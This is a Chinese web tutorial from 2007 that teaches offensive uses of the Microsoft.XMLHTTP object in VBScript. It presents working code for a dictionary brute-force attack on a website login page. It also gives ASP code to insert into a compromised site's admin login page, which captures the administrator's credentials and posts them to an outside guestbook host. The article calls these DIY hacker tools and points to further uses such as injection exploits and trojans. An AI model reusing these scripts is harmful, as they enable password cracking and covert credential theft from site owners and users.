|
|
 |
首页 … 技术文档 Technical Articles |
|
| |
| |
|
| (时间:2007-10-18 16:35:01 共有
人次浏览) |
最近在我的脚本群里总有一些朋友问我 XMLHTTP对象到底是什么,有什么用。本文我就详细地介绍一下Microsoft.XMLHTTP对象的使用,希望对大家能有所帮助。 首先,Microsoft.XMLHTTP是一个控件,而且是系统默认自带的控件(Windows 98以下除外),它通过http协议访问网络。在我的理解中,XMLHTTP控件就相当于一个浏览器:向网站发送http请求(POST或GET),然后取得返回数据。 一些小菜们是不是认为编写关于WEB入侵的程序需要很高的编程技术?其实通过XMLHTTP对象可以轻易地完成这类程序。下面我就通过一些实例来介绍一下XMLHTTP的应用。调用XMLHTTP的方法很多,为了方便,本文用VBS脚本来实现。
一、密码暴力破解程序
让我们先通过一个例子来熟悉一下XMLHTTP的使用方法。
通过查看源代码,我们看到如下代码(我省略了部分表格代码,仅保留关键信息):
<form action=User/login.asp method="post"> 用户名:<input name=user type=text maxlength=20 size=10 value="" class=fminpt> 密码: <input name=pass type=password maxlength=20 size=10 value="" class=fminpt> <input type=submit value="登录" class=fmbtn> </form>
由此可以看出,用户登陆的实质是通过浏览器对"User/login.asp"页面进行一次访问,并提交user和password两个变量的值。当然,除了查看源代码,你也可以通过抓包来分析。 前面说过,XMLHTTP控件就相当于一个浏览器,那我们来看看如何用XMLHTTP来模拟一次登陆。先在网站上随便注册一个用户,如用户名“千寂孤城”,密码“qjgc”。然后写一个脚本,代码如下:
Function URLEncoding(vstrIn) '一个转换函数,暂时不管它,后文会提到 strReturn = "" Dim i For i = 1 To Len(vstrIn) ThisChr = Mid(vstrIn, i, 1) If Abs(Asc(ThisChr)) < &HFF Then strReturn = strReturn & ThisChr Else innerCode = Asc(ThisChr) If innerCode < 0 Then innerCode = innerCode + &H10000 End If Hight8 = (innerCode And &HFF00) \ &HFF Low8 = innerCode And &HFF strReturn = strReturn & "%" & Hex(Hight8) & "%" & Hex(Low8) End If Next strReturn = Replace(strReturn, Chr(32), "%20") URLEncoding = strReturn End Function
'先创建XMLHTTP对象 sethttp=createobject("Microsoft.XMLHTTP") '打开与服务端的连接,第一个参数为发送方法,即get或post,第二个参数是要访问的网页地址,最后一个参数是同步的意思,设为 true就是异步,即脚本在发送完指令后立即向后执行而不等待服务器的返回信息。其实还有两个不常用的参数 bstrUser和 bstrPassword,我们不管它。 http.open "POST","http://***/User/Login.asp",false '由于是提交表单,所以必须设定下面这句!否则会出错。 http.setrequestheader "Content-Type","application/x-www-form-urlencoded" name=URLEncoding("千寂孤城") '发送指令,故意发送个错误的密码。 http.send "user="&name&"&"&"pass=abcd"
'以下是创建 adodb.stream对象来把网站的返回信息写入 ok.htm文件。 set aso=createobject("Adodb.Stream") aso.open aso.type=1 aso.writehttp.responsebody aso.saveToFile "ok.htm",2 aso.close
运行这个脚本后,当目录会生成一个 ok.htm文件。
看到的页面和我们通过浏览器来登陆时输错了密码后出现的页面基本一致。接下来我们再把脚本中提交的密码改成正确的,即把 http.send "user="&name&"&"&"pass=abcd"改成 http.send "user="&name&"&"&"pass=qjgc"。再次运行脚本后打开 ok.htm文件。
呵呵,成功登陆了吧!我再解释两点: 1、URLEncoding函数的用处是把提交数据转换成16进制,比如把千寂孤城转换成%C7%A7%BC%C5%B9%C2%B3%C7,因为在 http协议里是不能直接提交汉字的,英文和数字可以不转换; 2、上面的脚本里用 Adodb.Stream来写文件而不用 FSO是因为网站的返回数据并不是字符串的形式,只有 Adodb.Stream才能以流的方式进行文件操作。
通过刚才这个脚本相信大家对 XMLHTTP控件的使用方法已经很清楚了,那么写一个密码破解程序是不是变得很简单了呢?密码破解我们可以通过利用XMLHTTP控件反复向网站登陆页面提交密码,再分析返回数据判断密码是否正确来实现。那么究竟如何分析返回数据呢?提取关键字?其实最简单的方法是判断返回数据的长度。以破解“千寂孤城”为例,我们可以这样写:
'打开字典zidian.txt set fso=createobject("scripting.filesystemobject") set zidian=fso.opentextfile("zidian.txt")
sethttp=createobject("Microsoft.XMLHTTP") http.open "POST","http://***/User/Login.asp",false http.setrequestheader "Content-Type","application/x-www-form-urlencoded" name=URLEncoding("千寂孤城") '发送一个错误密码a,以获取错误密码对应的返回数据的长度。万一密码猜对了怎么办?那你去买彩票吧。 http.send "user="&name&"&"&"pass=a" FalseLenth=len(Http.responsebody) '开始破解,循环提交数据致字典被读完 do while zidian.atendofstream=false '从字典里读出密码 pwd=zidian.readline http.open "POST","http://***/User/Login.asp",false http.setrequestheader "Content-Type","application/x-www-form-urlencoded" http.send "user="&name&"&"&"pass="&pwd '把反馈信息的长度和密码错误时的反馈信息长度相比较,如果不相等则说明密码正确。然而实际测试时发现这样做并不是很准确,因此我改成了长度相差太大则密码正确 if len(Http.responsebody)<FalseLenth-100 or len(Http.responsebody)>FalseLenth+100 then wscript.echo "密码是:"&pwd wscript.quit end if loop
二、记录管理员密码
大家在通过各种方法得到一个 webshell后想得到管理员的密码时会怎么做呢?从数据库中取出经过 md5加密后的密码狂暴一通?呵呵,其实还有个方法就是修改 Admin的登陆页面,使其在 Admin登陆时自己把密码记录下来。比如在登录页面中插入类似如下的代码:
set aso=createobject("Adodb.Stream") aso.open aso.type=2 aso.loadfromfile "logs.asp" aso.position=aso.size aso.writetext Request.Form("user")&" "&Request.Form("pass")&"||" aso.saveToFile "logs.asp",2 aso.close
这种方法虽然方便但太显眼了。你想想服务器上无缘无故多出了一个文件,里面还记录着自己的密码。管理员就是再白痴也会敢紧把它删了。但是如果我们通过调用 XMLHttp控件将管理员的密码提交到其他站点上去,效果就不一样了。管理员即使发现了也只有干瞪眼。呵呵,我们在登录页面中插入类似如下的代码就可以了:
Function URLEncoding(vstrIn) ……省略…… End Function
user=urlencoding(Request.Form("user")) pass=urlencoding(Request.Form("pass")) sethttp=createobject("Microsoft.XMLHTTP") '可以看出是个留言本 http.open "POST","http://***/guestbook/save.asp",false http.setrequestheader "Content-Type","application/x-www-form-urlencoded" '提交数据,除了 user和 pass还有一些留言本发贴时的必须数据 http.send "face=Image1.gif&guestname=test&guestcontent="&user&"|"&pass&"||"&"&Submit3=%CC%E1%BD%BB"
最好是把提交数据的代码插入到源文件的某些函数中,如判断登陆是否成功的函数。要知道哪些是必须提交的数据只需到留言本上去发个贴,抓包下来看看就明白了。 希望同学们不要通过修改自己学校论坛的登陆页面来获得其他同学的密码并用得到的密码来测试他人的邮箱或 QQ。
三、总结
XMLHttp控件的应用当然远不止这些。如抢注会员、疯狂刷票、Cross-Site和 SQL Injection漏洞利用程序以及小偷程序、断点续传程序、原始木马等等都有它的用武之地。但实质是一样的,不外乎就是对指定页面进行一次或多次访问,发送各种请求并将服务器反回的数据进行分析处理。通过我举的这两个例子相信各位小菜们一定对如何使用 XMLhttp控件有了足够的了解,自己也能举一反三,写出各种 DIY的黑客工具来了吧!
|
|
|
【打印该页】 【关闭窗口】 |
|
此技术资料来自网络,仅供参考。未经许可,不得转载。
若有侵权,请及时与我们取得联系! |
| |
|
|
|
|